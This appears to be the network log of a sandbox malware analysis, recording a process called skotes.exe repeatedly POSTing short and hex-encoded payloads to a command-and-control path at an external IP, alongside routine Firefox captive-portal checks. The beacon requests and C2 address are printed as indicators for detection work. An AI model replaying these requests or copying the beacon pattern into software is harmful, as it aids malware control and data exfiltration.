Nov 19, 2024 22:08:16.209788084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50193	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:18.046084881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:18.254766941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50194	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:19.987773895 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:20.204021931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50195	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:22.062834978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:22.274853945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50196	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:24.036401033 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:24.255095005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50197	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:26.114948988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:26.322138071 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50198	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:28.082258940 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:28.298398018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50199	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:30.162656069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:30.368678093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50202	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:32.098320961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:32.315783024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50203	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:34.191936016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:34.399805069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50204	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:36.125554085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:36.342241049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50215	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:40.286115885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:40.380244017 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:40.399466038 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:40.495398998 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:40.518932104 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:40.612648010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:40.748804092 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:40.842205048 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:40.872462988 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:40.966140985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53026 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:46.311986923 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:46.410500050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53032 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:46.491077900 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:46.585124969 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53032 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:56.596493006 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:08:56.995780945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:57.089287996 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53043 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:09:07.102437019 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:08.766880035 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:09:08.860738993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53054 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:09:09.006958961 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:09:09.100785017 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53055 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:09:17.601893902 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:09:17.695401907 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53063 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:09:27.705734015 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:37.882354975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:38.002398014 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:09:38.096731901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53084 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:09:48.191638947 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:58.394835949 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50207	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:40.313940048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:40.522069931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50233	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:40.807451963 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:40.898437023 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45935 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50234	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
